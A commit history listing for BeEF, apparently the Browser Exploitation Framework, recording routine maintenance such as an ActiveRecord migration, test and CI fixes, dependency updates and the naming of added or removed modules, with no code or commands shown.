Compare commits

..

1333 Commits

Author SHA1 Message Date
root
0b67f4c2e8 Merge branch 'activerecord' 2019-12-17 00:16:44 +00:00
root
5a05bd965e byebug and stops the auth rate limit test till fix 2019-12-13 15:33:31 +00:00
jcrew99
bc6d7dc934 Merge pull request #1799 from beefproject/test
Tests for the linear run
2019-12-10 13:44:27 +10:00
Centos 7 beef VM
7043212a58 updated the gitignore and stop the random tests 2019-12-09 19:29:12 -08:00
jcrew99
3273513e9d Merge pull request #1798 from beefproject/test1
the changes make one of the tests clean up after itself properly
2019-12-09 14:12:10 +10:00
jcrew99
ae70388da3 Merge pull request #1791 from beefproject/jcrew99-build_test
Update .travis.yml
2019-12-09 14:11:18 +10:00
Centos 7 beef VM
4db3853535 the changes made 2019-12-06 00:46:59 -08:00
jcrew99
3c809a785d Merge pull request #1796 from h4sh5/master
Fixing random fails in auth_rate_spec.rb
2019-12-06 13:20:06 +10:00
Haoxi Tan
9a6b410aaa beef.log and byebug history 2019-12-06 12:11:23 +10:00
Haoxi Tan
b4013bb74b beef.log and byebug history 2019-12-06 12:10:56 +10:00
Haoxi Tan
a4139d6e60 fixed randomly failing bug in auth_rate_spec.rb 2019-12-06 12:09:28 +10:00
Haoxi Tan
a397b67148 - fixed randomly failing bug in auth_rate_spec.rb
- added beef.log and .byebug_history in .gitignore
2019-12-06 12:07:29 +10:00
Centos 7 beef VM
42b5a4fe58 should kill the issues with dns 2019-12-05 10:22:35 -08:00
Centos 7 beef VM
b5e5689eca config order for random, but deterministic tests 2019-12-04 20:54:15 -08:00
jcrew99
dff44bc865 Merge pull request #1793 from beefproject/jcrew99-remove-the-ruby-racer
remove the rubyracer again
2019-12-03 16:35:27 +10:00
jcrew99
6594aa0b03 remove the rubyracer again
This was introduced again and this is just removing it
2019-12-03 16:32:38 +10:00
jcrew99
750c41cca8 Merge pull request #1786 from erwanlr/master
WordPress Fixes and Improvements
2019-12-03 15:53:19 +10:00
jcrew99
c56ca60241 Update .travis.yml
Im updating the ruby version for 2.5.0 to 2.5.3 for the build tests
2019-12-03 14:43:42 +10:00
root
cc08bb56f2 explain a possible error with API test 2019-12-02 04:50:52 +00:00
Ben Passmore
f5a4671550 Added beef.log to .gitignore 2019-11-30 15:27:17 +10:00
Ben Passmore
52f091fd21 Fixed up rspec tests for AR 2019-11-30 15:26:48 +10:00
Ben Passmore
6a208245ed Updated modules for AR 2019-11-30 15:24:07 +10:00
Ben Passmore
8ca7e2135c Updated xssrays for AR 2019-11-30 15:23:27 +10:00
Ben Passmore
173d55714a Updated webrtc for AR 2019-11-30 15:22:41 +10:00
Ben Passmore
502a52452c Updated social_engineering for AR 2019-11-30 15:21:50 +10:00
Ben Passmore
b89fbd9268 Updated requester for AR 2019-11-30 15:21:11 +10:00
Ben Passmore
7c2a56945c Updated proxy for AR 2019-11-30 15:20:03 +10:00
Ben Passmore
97ab3625f5 Updated network for AR 2019-11-30 15:19:40 +10:00
Ben Passmore
8b244c6f58 Updated metasploit for AR 2019-11-30 15:18:49 +10:00
Ben Passmore
3950e934a6 Updated ipec for AR 2019-11-30 15:18:19 +10:00
Ben Passmore
0f74b6faf2 Updated events for AR 2019-11-30 15:17:32 +10:00
Ben Passmore
ea9c281804 Updated dns for AR 2019-11-30 15:17:11 +10:00
Ben Passmore
36336e4c5f Updated console for AR 2019-11-30 15:13:56 +10:00
Ben Passmore
7462dea1e0 Updated autoloader for AR 2019-11-30 15:13:19 +10:00
Ben Passmore
f83add866e Added new migrations for extensions 2019-11-30 15:12:49 +10:00
Jess
3959d2c8bb syntax changes 2019-11-14 22:10:00 -08:00
Jess
9b5c8e39df Syntax changes 2019-11-14 22:09:44 -08:00
Ben Passmore
87b8093504 Corrected command execution. 2019-11-08 08:03:35 +10:00
Ben Passmore
eff7b99393 AR convert admin_ui 2019-11-03 08:09:18 +10:00
Ben Passmore
b88774cdbf AR convert autorun 2019-11-03 08:08:22 +10:00
Ben Passmore
58447e4007 AR convert rest components 2019-11-03 08:06:43 +10:00
Ben Passmore
fce763e9f3 AR covert websocket 2019-11-03 08:04:38 +10:00
Ben Passmore
3068fbead5 AR convert handlers 2019-11-03 08:03:56 +10:00
Ben Passmore
96e4063e2a AR corrected models 2019-11-03 08:02:52 +10:00
Ben Passmore
8cbae6a830 Cast print error to string when there are cases it recieves stack traces 2019-11-03 08:01:54 +10:00
Ben Passmore
66bec03158 AR convert logger 2019-11-03 08:01:15 +10:00
Ben Passmore
557452b95d AR convert module loader 2019-11-03 08:00:51 +10:00
Ben Passmore
91332844c8 AR convert crypto 2019-11-03 08:00:29 +10:00
Ben Passmore
88c488969e AR convert command 2019-11-03 07:59:59 +10:00
Ben Passmore
80bfc21516 AR convert hbmanager 2019-11-03 07:59:34 +10:00
Ben Passmore
aac1b0bc10 Added command references 2019-11-02 08:26:41 +10:00
Ben Passmore
d1d5d1d648 Fixes #1731, Fixes #1629. Corrected params overloading causing parsing
errors.
2019-11-02 08:24:39 +10:00
Ben Passmore
c85e3c01b5 Upgraded to latest version of gems 2019-11-02 08:21:49 +10:00
erwanlr
7841f55166 WP - Displays Auth Key when plugin successfuly installed and activated 2019-10-27 11:11:36 +01:00
erwanlr
12e5f51721 Removes test wp_path 2019-10-27 00:11:17 +02:00
erwanlr
b6d338d334 WordPress - Adds auth_key to Plugin, Use SecureRandom and Fixes fatal error when plugin file called directly 2019-10-27 00:09:39 +02:00
erwanlr
151976176a Adds missing author in module (previous commit) 2019-10-26 14:28:06 +02:00
erwanlr
2f71b35f7b Fixes & Improves & Adds WordPress stuff 2019-10-26 14:19:18 +02:00
Ben Passmore
5bfd1e54df Added autorun model migrations 2019-10-09 10:04:17 +10:00
Ben Passmore
0574bdf002 Moved autorun models to active record core models 2019-10-09 10:03:27 +10:00
Ben Passmore
91265cad77 Updated migrations to use ActiveRecord 2019-10-08 16:18:21 +10:00
Ben Passmore
21d0906c12 Changed ./beef to use ActiveRecord 2019-10-08 16:17:48 +10:00
Ben Passmore
d588c56391 Refactored models to use ActiveRecord 2019-10-08 16:15:55 +10:00
Ben Passmore
4cecca4075 Allow usage of connection management 2019-10-08 16:14:46 +10:00
Ben Passmore
9babcba7c3 Fixed loaders 2019-10-08 16:14:09 +10:00
Ben Passmore
405241c5d0 Added base model 2019-10-08 16:13:36 +10:00
Ben Passmore
0cd8878a3f Added migrations 2019-10-08 16:13:12 +10:00
Ben Passmore
06d1ba7754 Reverted config to sqlite only 2019-10-08 16:12:53 +10:00
Ben Passmore
704e675edf Removed datamapper for otr-activerecord 2019-10-08 16:10:00 +10:00
Ben Passmore
d6972adfcb Reworked travis and build issues with new rspec tests 2019-09-26 16:20:15 +10:00
Ben Passmore
ba3183ef38 Merge branch 'rspec-conversion'
* Converted tests to rspec for future releases + travis integration.
* Files remaining in test/ are integrations that require verification if they are still relevant/working.
2019-09-26 13:42:50 +10:00
Ben Passmore
0b0e7840fc Removed test files no longer required by respec 2019-09-26 13:35:59 +10:00
jcrew99
3de78156c2 Merge pull request #1773 from beefproject/raketest
Raketest
2019-09-20 18:17:19 +10:00
root
0531cdf745 config 2019-09-20 08:16:16 +00:00
root
d8f838980f changed the travis back 2019-09-20 08:11:39 +00:00
root
731527e259 changing back the gem and test plus travis 2019-09-20 07:58:21 +00:00
root
ad3927485c should force a fail 2019-09-20 07:37:59 +00:00
root
a35d0eae5e trying to get the .travis to error 2019-09-20 07:22:49 +00:00
jcrew99
dd336fa8a2 Merge pull request #1769 from beefproject/raketest
putting the file in the gemset instead
2019-09-20 17:21:38 +10:00
root
ce6d261c05 putting the file in the gemset instead 2019-09-20 07:07:36 +00:00
jcrew99
6b34f1ea3a Merge pull request #1768 from beefproject/raketest
testing the rake
2019-09-20 17:07:14 +10:00
root
c2f9922920 updated rakefile change 2019-09-20 06:55:30 +00:00
root
fb168f7480 testing the rake 2019-09-20 06:44:36 +00:00
jcrew99
a777be1254 Merge pull request #1767 from beefproject/raketest
adding a catch to a possible ruby bug
2019-09-20 16:43:32 +10:00
root
31aae8fdaf adding a catch to a possible ruby bug 2019-09-20 06:29:10 +00:00
root
060ed96c7f changed the default task to quick 2019-09-20 05:40:54 +00:00
root
43dd97fe72 change the default task 2019-09-20 05:20:18 +00:00
root
625e4ce386 checked the stage 2019-09-20 04:39:44 +00:00
root
042713f257 testing the .travis 2019-09-20 04:38:16 +00:00
jcrew99
3df5afc930 Merge pull request #1764 from beefproject/default_Yaml_creds
Default yaml creds
2019-09-20 14:31:23 +10:00
root
61f0363859 gave it a proper output 2019-09-20 04:12:28 +00:00
root
de8eb60370 changed so it checks the config for P/U 2019-09-20 04:00:30 +00:00
jcrew99
b238595a2c Merge pull request #1721 from aussieklutz/master
Update selenium dependency to selenium-webdriver
2019-09-17 09:14:27 +10:00
garysteak
a2151e77ad Merge pull request #1761 from beefproject/google-verify
Google verify file
2019-08-30 11:56:50 +10:00
garysteak
dc8d59f000 Google verify file
In order to review blacklisting of repo
2019-08-30 11:48:29 +10:00
Brendan Coles
494650923e Bump nokogiri gem version to >= 1.10.4 2019-08-21 06:26:44 +00:00
Ben Passmore
d1cb59a728 Pulled api rate limit test to rspec 2019-08-18 13:46:20 +10:00
Ben Passmore
10cd685007 Corrected bug when notifications extension not present 2019-08-18 13:44:05 +10:00
Ben Passmore
d8885ef51e Changed port numbers for specs.
Sometimes BeEF is a little too slow at
shutting down before next spec begins,
causing port conflicts.
2019-08-18 13:42:35 +10:00
Ben Passmore
5e18495b33 Removed color methods used in rainbow gem.
Currently broken due to issue: https://github.com/sickill/rainbow/issues/82
2019-07-31 19:13:28 +10:00
Brendan Coles
86f4697765 Merge branch 'master' of https://github.com/beefproject/beef 2019-07-21 22:07:18 +00:00
Brendan Coles
c2d82ace7d Remove CoinHive module 2019-07-21 22:06:57 +00:00
bcoles
6ca6054c68 Merge pull request #1736 from StevenWilliams/patch-1
Fixed OpenStreetMap
2019-07-22 07:53:28 +10:00
Brendan Coles
b0732f21e6 Add Hook Microsoft Edge module 2019-07-20 15:55:09 +00:00
Steven Williams
1867a69311 Fixed OpenStreetMap
Changed url from http to https, as it was getting blocked by Chrome in https sites. Added dataType "json", parseJSON not required so got rid of it. Changed format from json to jsonv2, as OSM was not sending a content type header in "json" but does send an "application/json" header in jsonv2, this fixes Cross Origin Read Blocking in Chrome (https://www.chromestatus.com/feature/5629709824032768).
2019-06-02 19:47:32 -06:00
Brendan Coles
07cc6f9542 Bump version to 0.4.7.4-alpha-pre 2019-05-05 14:40:50 +00:00
Brendan Coles
7df8888505 Bump version to 0.4.7.3-alpha 2019-05-05 14:37:34 +00:00
Brendan Coles
3ea946ed19 Update module config to user_notify 2019-05-05 14:30:58 +00:00
Brendan Coles
a62e502fce Remote Get Physical Location module 2019-05-05 12:18:41 +00:00
Brendan Coles
dab4288501 Fix Get System Info (Java) - Fix #1725 2019-05-05 11:46:36 +00:00
Brendan Coles
367e91b095 Bump version to 0.4.7.3-alpha-pre 2019-05-04 22:50:38 +00:00
Brendan Coles
a6cce27518 Bump version to 0.4.7.2-alpha 2019-05-04 22:48:26 +00:00
aussieklutz
b8fe5f1b80 Replace selenium with selenium-webdriver
Update Session.new calls with headless firefox (:selenium_headless) module
2019-05-02 09:55:01 +10:00
aussieklutz
64d5638a81 Replace selenium with selenium-webdriver
Replace gem require
2019-05-02 09:51:24 +10:00
aussieklutz
5eb3b686f1 Replace selenium with selenium-webdriver gem
Replace gem require + update Session.new calls with headless firefox (:selenium_headless) module
2019-05-02 09:49:21 +10:00
aussieklutz
639d14c682 Switching to current selenium-webdriver for tests
Disabling selenium and adding geckodriver-helper and selenium webdriver for the current version of selenium.
2019-05-02 08:50:43 +10:00
Ben Passmore
7c5a5b4df4 Converted unit tests, further work required 2019-04-17 10:48:04 +10:00
Brendan Coles
4396547cdd Use navigator.language 2019-03-31 00:47:48 +00:00
Brendan Coles
c385b1a352 Add Edge WScript WSH Injection module 2019-03-30 00:18:59 +00:00
Brendan Coles
a103ca3f30 Rename get_internal_ip to get_internal_ip_java 2019-03-24 22:55:49 +00:00
Brendan Coles
0ed6c3866e Set Firefox extension modules max version 56 2019-03-24 21:10:39 +00:00
bcoles
355cb38593 Fix undeclared variable in initialize error handling 2019-03-23 17:44:42 +11:00
bcoles
35b3505bf8 Add supported systems to module description 2019-03-23 01:06:11 +11:00
Brendan Coles
654cf5427f Update beefbind msf modules for msf4+ 2019-03-16 01:49:45 +00:00
Brendan Coles
1cc3136421 Move beef.db back to BeEF root directory 2019-03-13 23:38:54 +00:00
bcoles
20e61d9e81 Merge pull request #1705 from jeschneiderhan/je-case-insensitive-headers
proxy:ignore case when ignoring headers
2019-03-13 07:44:49 +11:00
Jon-Erik Schneiderhan
99b54583cc proxy:ignore case when ignoring headers 2019-03-12 14:18:18 -04:00
Brendan Coles
46d82dc8b8 Fix load order 2019-03-06 07:24:01 +00:00
Brendan Coles
d698b6a0ba Add support for multiple permitted hooking/ui subnets - #1319 2019-03-03 21:14:39 +00:00
Brendan Coles
8e7522b1b1 Add next steps to installer 2019-03-03 20:38:04 +00:00
bcoles
6052ec99da Merge pull request #1699 from bcoles/logger
Add logger - Fixes #1698
2019-03-04 07:18:09 +11:00
Brendan Coles
13c539effe Add logger - Fixes #1698 2019-03-03 20:20:37 +00:00
bcoles
39aa3fdeea Merge pull request #1697 from jesusdanielcf/master
Excluding BUILD_ID while getting the distro ID
2019-03-04 01:03:02 +11:00
Jesus Cuesta
00dca685c1 Excluding BUILD_ID while getting the distro ID 2019-03-03 13:39:17 +01:00
Brendan Coles
f24a25f6b1 Remove dm-do-adapter monkey patch 2019-03-02 06:47:34 +00:00
Brendan Coles
2fa56c419f Bump version to 0.4.7.2-alpha-pre 2019-03-01 22:41:57 +00:00
Brendan Coles
2d23692fd6 BeEF version 0.4.7.1-alpha 2019-02-27 15:55:28 +00:00
Brendan Coles
a79c8b26b5 Fix detection for IE9/10, Edge, and plugins 2019-02-27 10:08:14 +00:00
Brendan Coles
4e31752626 Add platformjs to hook 2019-02-27 06:46:21 +00:00
bcoles
bc0b57c6f4 Merge pull request #1693 from bcoles/browser_details_oid_keyvalues
Update BrowserDetails to store textual OID-style key/value data
2019-02-27 02:28:02 +11:00
Brendan Coles
03424c804e Update BrowserDetails to store textual OID-style key/value data 2019-02-26 15:22:54 +00:00
Brendan Coles
25988d1728 Update html2canvas 2019-02-26 03:27:26 +00:00
Brendan Coles
1ebffcc2b6 Evasion: remove beef.debug calls unless beef.client_debug true 2019-02-26 03:17:25 +00:00
Brendan Coles
eba4804185 rm modules/host/detect_vm/ 2019-02-26 03:15:54 +00:00
Brendan Coles
eb840a0a6a rm core/main/models/user.rb 2019-02-26 03:15:15 +00:00
Brendan Coles
64c2c5e01b Add beef.hardware.getGpuDetails function 2019-02-25 15:58:21 +00:00
Brendan Coles
41cfeedc9a Replace $jwterm.ajax with jQuery.ajax 2019-02-25 13:59:03 +00:00
Brendan Coles
f707bf66f3 rubocop extensions/network 2019-02-25 10:29:46 +00:00
Brendan Coles
205921b1a2 rubocop extensions/demos 2019-02-25 10:29:39 +00:00
Brendan Coles
c689884a24 Move to_h methods to models 2019-02-25 09:38:16 +00:00
Brendan Coles
449f36cd70 Add .rubocop.yml 2019-02-25 09:37:30 +00:00
Brendan Coles
c40c29dd35 AdminUI: Allow linking directly to browser #1003 2019-02-24 11:13:41 +00:00
Brendan Coles
503965c193 Add warning to delete zombie context menu 2019-02-24 07:41:53 +00:00
Brendan Coles
09f028c02d AdminUI: do not minify visjs.min.js 2019-02-24 06:52:27 +00:00
bcoles
9b19c5948e Merge pull request #1691 from bcoles/master
Make zombie context menus dynamic
2019-02-24 17:27:50 +11:00
Brendan Coles
f29dca2304 Make zombie context menus dynamic 2019-02-24 06:36:36 +00:00
bcoles
b997e96fc7 Merge pull request #1690 from bcoles/admin_ui
Clean up Admin UI
2019-02-23 23:32:26 +11:00
Brendan Coles
5320dbc7fb Clean up Admin UI 2019-02-23 12:21:12 +00:00
Brendan Coles
8b5e4abed3 rm extensions/evasion/helper.rb 2019-02-23 01:10:25 +00:00
Brendan Coles
eb3ebba17f Cleanup evasion extension; disable scramble obfuscation 2019-02-22 16:02:02 +00:00
Brendan Coles
54f9683e84 rm core/main/client/lib/json2-2001-02-23.js 2019-02-22 12:33:11 +00:00
Brendan Coles
fc5f1c5afc Bump Ruby version from 2.5.1 to 2.5.3 2019-02-21 11:40:19 +00:00
Brendan Coles
41e5d1d0c0 Cleanup WebSocket code 2019-02-21 11:31:41 +00:00
bcoles
03624ba706 Merge pull request #1687 from bcoles/requester_rest
Replace /ui/requester controller with REST API - #1389 #1388
2019-02-21 09:55:14 +11:00
Brendan Coles
7f41c2b495 Replace /ui/requester controller with REST API - #1389 #1388 2019-02-20 22:57:45 +00:00
bcoles
2457df686a Merge pull request #1686 from bcoles/xssrays_rest
Replace /ui/xssrays controller with REST API - #1389 #1682
2019-02-20 20:35:04 +11:00
Brendan Coles
1cf1354bc6 Replace /ui/xssrays controller with REST API - #1389 #1682 2019-02-20 09:39:48 +00:00
Brendan Coles
b08d106756 Add check for WebGL 2019-02-20 06:34:02 +00:00
Brendan Coles
512abb889a Update FingerprintJS2 lib 2019-02-20 06:33:15 +00:00
bcoles
857185faaa Merge pull request #1684 from bcoles/xssrays
Add XssRays API endpoints
2019-02-18 02:52:40 +11:00
Brendan Coles
42de9a01f6 Add XssRays API endpoints 2019-02-17 15:58:44 +00:00
Brendan Coles
3aa8d770f4 Don't rescue from block 2019-02-17 13:38:09 +00:00
bcoles
aab84a13ce Merge pull request #1683 from bcoles/network_extension
Remove dm-serialize requirement
2019-02-17 23:19:50 +11:00
Brendan Coles
0e4453c4c6 Remove dm-serialize requirement 2019-02-17 12:22:23 +00:00
Brendan Coles
9bb33c620e Fix XssRays unit tests 2019-02-17 10:11:05 +00:00
Brendan Coles
4b3618528e Use beef.debug for XSSrays debugging 2019-02-17 09:33:53 +00:00
Brendan Coles
3932d3dcc1 Remove unused demo_path option 2019-02-17 08:58:44 +00:00
Brendan Coles
fe10107bba Fix Create Invisible Iframe module 2019-02-17 08:40:20 +00:00
Brendan Coles
568f6ec35d Minor updates to Admin UI HTML 2019-02-17 08:19:19 +00:00
bcoles
7c81f50c12 Merge pull request #1681 from bcoles/master
Uncomment beef_init
2019-02-17 18:32:15 +11:00
Brendan Coles
82094c6f5c Uncomment beef_init 2019-02-17 07:38:25 +00:00
Ben Passmore
e8bb0cfd3e Modified travis email notifications 2019-02-17 16:32:33 +10:00
bcoles
6a31e0484c Merge pull request #1679 from bcoles/update_geoipdb
Add update-geoipdb script
2019-02-17 16:33:24 +11:00
Brendan Coles
b46472ada6 Add update-geoipdb script 2019-02-17 05:42:45 +00:00
bcoles
1583a10a5a Merge pull request #1678 from bcoles/decouple_admin_ui_basepath
Decouple Admin UI `base_path`
2019-02-17 15:48:39 +11:00
Brendan Coles
9c9119f9cd Move option http.web_ui_basepath to extension.admin_ui.base_path 2019-02-17 04:54:26 +00:00
Brendan Coles
6911842e67 Add BeEF logo to demos extension 2019-02-17 04:40:12 +00:00
Brendan Coles
4a38682212 chmod -x 2019-02-17 04:39:51 +00:00
Brendan Coles
47ae0436a3 Remove unused checkJava from demo 2019-02-17 04:37:59 +00:00
Brendan Coles
027e312f30 Allow print_more to print Array 2019-02-17 04:37:12 +00:00
Brendan Coles
faafe7d68d Rename DataGrid to LogsDataGrid 2019-02-16 14:38:06 +00:00
Brendan Coles
f594c6c217 Replace /ui/logs controller with REST API - #1389 2019-02-16 14:31:18 +00:00
Brendan Coles
1b173e4b98 Replace /proxy controller with REST API - #1389 2019-02-16 13:57:52 +00:00
Brendan Coles
64c12bd83b Update default certificate 2019-02-16 13:51:26 +00:00
Brendan Coles
138b5d9eb0 Add /api/server/mounts API endpoint 2019-02-16 13:20:41 +00:00
Brendan Coles
4dd7230c40 cleanup 2019-02-16 12:54:09 +00:00
Brendan Coles
f0310b34d9 require 'msgpack' 2019-02-16 10:30:41 +00:00
Brendan Coles
5a7fe2be0e Update style 2019-02-16 10:29:52 +00:00
Brendan Coles
214e5b977f Ensure Rack errors are not swallowed silently 2019-02-16 04:32:41 +00:00
Brendan Coles
beaf4d127d Check Gemfile.lock is writable 2019-02-16 03:26:27 +00:00
Brendan Coles
c3e8ca837a Add missing ZombieDataGrid.js 2019-02-15 13:54:47 +00:00
bcoles
53798e8fc4 Remove Gemfile.lock before installing Gems 2019-02-16 00:28:24 +11:00
bcoles
0b0c404728 Merge pull request #1674 from bcoles/zombies_tab
Add Zombies tab to main panel
2019-02-16 00:25:53 +11:00
Brendan Coles
ad186a56de Add Zombies tab to main panel 2019-02-15 13:33:36 +00:00
bcoles
9e22c02b0b Merge pull request #1673 from bcoles/decouple_demos
Decouple demos
2019-02-15 20:55:34 +11:00
Brendan Coles
af33006c69 Use hook path rather than demo page 2019-02-15 10:08:55 +00:00
Brendan Coles
0cc68dc684 Remove debug/test_http_bind_raw module 2019-02-15 09:58:40 +00:00
bcoles
30833de5d2 Merge pull request #1671 from bcoles/geoip-flags
Add SVG flag icons for GeoIP
2019-02-11 01:13:13 +11:00
Brendan Coles
168984f876 Add SVG flag icons for GeoIP 2019-02-10 14:20:58 +00:00
Brendan Coles
a9bcaf3e22 Add rubygems check to install script 2019-02-10 13:18:33 +00:00
bcoles
f5ae6e90d5 Merge pull request #1670 from bcoles/geoip
Update GeoIP to use MaxMind GeoLite2
2019-02-10 23:48:57 +11:00
Brendan Coles
46885fb681 Update GeoIP to use MaxMind GeoLite2 2019-02-10 12:53:29 +00:00
Brendan Coles
c4a324c80f Update documentation 2019-02-10 10:53:03 +00:00
Brendan Coles
f48acc3708 Bump minimum required Ruby version from 2.3+ to 2.4+ 2019-02-10 10:43:11 +00:00
Brendan Coles
4ce319b447 Fix icon size 2019-02-10 10:38:36 +00:00
Brendan Coles
e090b22656 Move new_zombie.mp3 to AdminUI extension - #1240 2019-02-10 10:32:12 +00:00
Brendan Coles
cb2e8b6681 Rescue from failed database reset 2019-02-10 08:45:36 +00:00
Brendan Coles
ee68811e62 Add support for Firefox 59-99 2019-02-10 08:35:21 +00:00
Brendan Coles
be6149ae6c Add Ruby 2.6.0 to Travis config 2019-02-10 08:28:15 +00:00
Brendan Coles
81383da72c Add support for Firefox 59-99 2019-02-10 08:24:35 +00:00
bcoles
5611fed0d2 Merge pull request #1669 from bcoles/admin_ui
Move UI formatting to Admin UI extension
2019-02-10 19:08:05 +11:00
Brendan Coles
5b53425c20 Move UI formatting to Admin UI extension 2019-02-10 08:13:39 +00:00
bcoles
602778d279 Merge pull request #1667 from bcoles/system_info
Add getCpuCores getCpuDetails getMemory getBatteryDetails to beef.hardware API
2019-02-10 00:26:35 +11:00
Brendan Coles
10d023f964 br 2019-02-09 13:35:19 +00:00
Brendan Coles
baf852a26b Add getCpuCores getCpuDetails getMemory getBatteryDetails 2019-02-09 13:16:02 +00:00
Brendan Coles
bd20f9fc01 Add check for NodeJS for Uglifier 2019-02-09 13:10:56 +00:00
Brendan Coles
47f79ecaa2 Rename beef.hardware.cpuType to beef.hardware.getCpuArch 2019-02-09 11:37:11 +00:00
Brendan Coles
3108653c69 Move getScreenSize from beef.browser to beef.hardware 2019-02-09 11:23:18 +00:00
Brendan Coles
5bce57854b Update vis.js library to 4.21.0 2019-02-09 10:11:55 +00:00
Brendan Coles
d20fb12e0b Rename get_system_info to get_system_info_java 2019-02-09 09:55:58 +00:00
bcoles
cf4cc31d68 Merge pull request #1663 from unkn0w/patch-1
Added ruby-dev package for Debian and Kali
2019-02-09 19:14:13 +11:00
Jakub 'unknow' Mrugalski
4eed8da516 Added ruby-dev package for Debian and Kali
Without package "ruby-dev", I got this error on my Kali Linux:

Building native extensions. This could take a while...
ERROR:  Error installing json:
	ERROR: Failed to build gem native extension.

    current directory: /var/lib/gems/2.5.0/gems/json-1.8.6/ext/json/ext/generator
/usr/bin/ruby2.5 -r ./siteconf20190117-11443-w5znm6.rb extconf.rb
mkmf.rb can't find header files for ruby at /usr/lib/ruby/include/ruby.h
2019-01-17 14:37:20 +01:00
Brendan Coles
64dd3c653c Merge pull request #1659 from kinduff/patch-1
Detects Manjaro as an Arch distro
2019-01-07 06:22:24 +11:00
Alejandro AR
03d92f25e3 Detects Manjaro as an Arch distro
Manjaro is a distro based on Arch, but it's os-release file is not marked as Arch.
This change provides support to this distribution for easy install.
2019-01-06 13:12:07 -06:00
Ben Passmore
9f1e8f5e8d Updated copyright 2019-01-01 11:57:28 +10:00
Ben Passmore
d09eb4b15b sqlite-dev not required in travis 2018-12-09 10:42:15 +10:00
Ben Passmore
ecba5870f6 Altered travis conf to try get automated builds working 2018-12-09 10:39:32 +10:00
Brendan Coles
1d2b5b8c12 Merge pull request #1650 from onurerhan/patch-1
Fix for typo in module name
2018-12-07 09:30:49 +11:00
Onur Erhan
685632addf Fix typo in module name 2018-12-06 15:41:56 +00:00
Brendan Coles
577f6b0db4 Merge pull request #1639 from Ven0mSnake/master
RickRoll module fix
2018-11-25 08:08:51 +11:00
Ven0mSnake
07a911b3c3 RickRoll module fix 2018-11-02 16:40:29 +01:00
Brendan Coles
c1ce053795 Merge pull request #1618 from H4xl0r/master
Updated Firefox Fake Plugin Bar
2018-10-16 17:44:01 +11:00
Brendan Coles
147da11325 Check empty public and public_port 2018-10-01 13:37:15 +00:00
Brendan Coles
2d3b2fc9a5 Update ISSUE_TEMPLATE.md 2018-10-01 23:05:25 +10:00
Brendan Coles
4603612a7b Validate beef.http.public and beef.http.public_port 2018-10-01 12:46:22 +00:00
Brendan Coles
7e010e2e1f Disable default credentials 2018-10-01 12:39:03 +00:00
Brendan Coles
4ff68d42e3 Bump rubyzip from '>= 1.2.1' to '>= 1.2.2' 2018-09-28 07:28:42 +10:00
Ben Passmore
888e0f838b Fixed issues when running tests on fresh clone
- Added the `rdoc` gem to the test group.
- Created `tmp` directory if one doesn't exist to store testing beef
configuration.
2018-09-22 14:48:45 +10:00
Brendan Coles
a244a02263 Merge pull request #1609 from dafyk/patch-1
Alpine linux support
2018-09-21 17:44:28 +10:00
Brendan Coles
6bba63abf8 Pending kickstart 2018-09-17 17:26:42 +10:00
H4xl0r
ede600a322 Updated Firefox Fake Plugin Bar
Added real Firefox Plugin Picture.
Fixed some margin errors. (Install Plugin Button location / X Button location) 
Looks way better now :-) ??
2018-09-14 13:39:42 +02:00
Da-FyK
bdc30fd750 Alpine linux support
Added detection of alpine linux and required packages
2018-08-13 12:17:16 +02:00
Brendan Coles
d237c95465 Merge pull request #1597 from slackr/master
Raw JavaScript ARE rule
2018-07-20 04:27:10 +10:00
slackr
da8d78f40a Raw JavaScript ARE rule 2018-07-19 14:21:08 -04:00
Brendan Coles
aa4a4de118 Merge pull request #1595 from ignisf/fix-readme-typo
Fix faulty Markdown syntax in the README
2018-07-19 21:18:03 +10:00
Petko Bordjukov
d284d07e20 Fix faulty Markdown syntax in the README 2018-07-19 13:57:32 +03:00
Brendan Coles
49227ae0a9 Add gem 'xmlrpc' to Gemfile 2018-07-19 20:42:44 +10:00
Brendan Coles
eb3dcda076 Bump Ruby version to 2.5.1 2018-07-19 19:57:00 +10:00
Brendan Coles
f2d2fd6990 Merge pull request #1591 from ignisf/drop-therubyracer-dep
Remove the dependency on therubyracer
2018-07-19 19:21:51 +10:00
Petko Bordjukov
487c71bedd Remove the dependency on therubyracer
therubyracer has long been unmaintained which is causing both security and build
issues to go unfixed. As beef depends on it only to provide a JS runtime for
execjs, we can drop it and require users to install Node.js. execjs
automatically finds the node binary and uses it as a JS runtime.

This fixes #1478, #1045, #1046, #1249, #1374, #1377, #1395, #1396, #1428, #1429
This also fixes #1433, #1502, #1504, #1540, #1545, #1547
2018-07-19 12:12:05 +03:00
Brendan Coles
c156730afc Steak 2018-07-19 19:10:37 +10:00
Brendan Coles
0a415b2252 Update rake and sinatra gems to 2.0+ 2018-07-19 07:41:47 +00:00
Brendan Coles
5b771274fb Revent client jQuery from 3.3.1 to 1.12.4 2018-07-19 07:07:49 +00:00
Brendan Coles
07c5473edf gem 'sinatra', '~> 1.2' 2018-07-19 02:33:21 +10:00
Brendan Coles
ba5f793b93 Add Get Geolocation (Third-Party) command module 2018-07-15 12:48:44 +00:00
Brendan Coles
445cbb02b2 Merge pull request #1586 from Dimansel/README.md-patch-1
Fix link to the Ruby website
2018-07-07 14:56:34 +10:00
Dmitry
2410a3bd8a Fix link to the Ruby website 2018-07-06 14:48:04 -04:00
Brendan Coles
1dea97511b Code cleanup 2018-06-11 11:36:35 +00:00
Brendan Coles
21af0ae705 Warn on Event Logger load if WebSockets are enabled 2018-06-11 11:36:09 +00:00
Brendan Coles
bebe6b81b0 Add support for Firefox 59-99 and Chrome 59-99 2018-06-11 05:39:16 +00:00
Brendan Coles
9ba4b10b40 Rollback hook jQuery version to 1.12.4 to support IE6-8 2018-06-11 05:05:29 +00:00
Brendan Coles
8e90587a77 Allow absolute paths for SSL cert and key 2018-06-04 11:28:42 +00:00
Brendan Coles
66cb048ed7 Fix startup banners for public host/port 2018-06-04 07:57:21 +00:00
Brendan Coles
7da834bebe Merge pull request #1549 from AmirHosseinKarimi/master
Fix Webcam(Adobe Flash) incorrect base64 data image
2018-05-12 00:42:36 +10:00
Brendan Coles
07c0d84545 Merge pull request #1561 from beefproject/warn-on-default-cert
Minor refactor and warn if default SSL cert in use
2018-05-12 00:18:54 +10:00
Brendan Coles
fb536ba06d Minor refactor and warn if default SSL cert in use 2018-05-12 00:18:30 +10:00
Brendan Coles
7998f227c0 Merge pull request #1560 from beefproject/core-loader
Update core/loader.rb
2018-05-12 00:08:11 +10:00
Brendan Coles
d26c7012d9 Update loader.rb 2018-05-12 00:07:15 +10:00
Brendan Coles
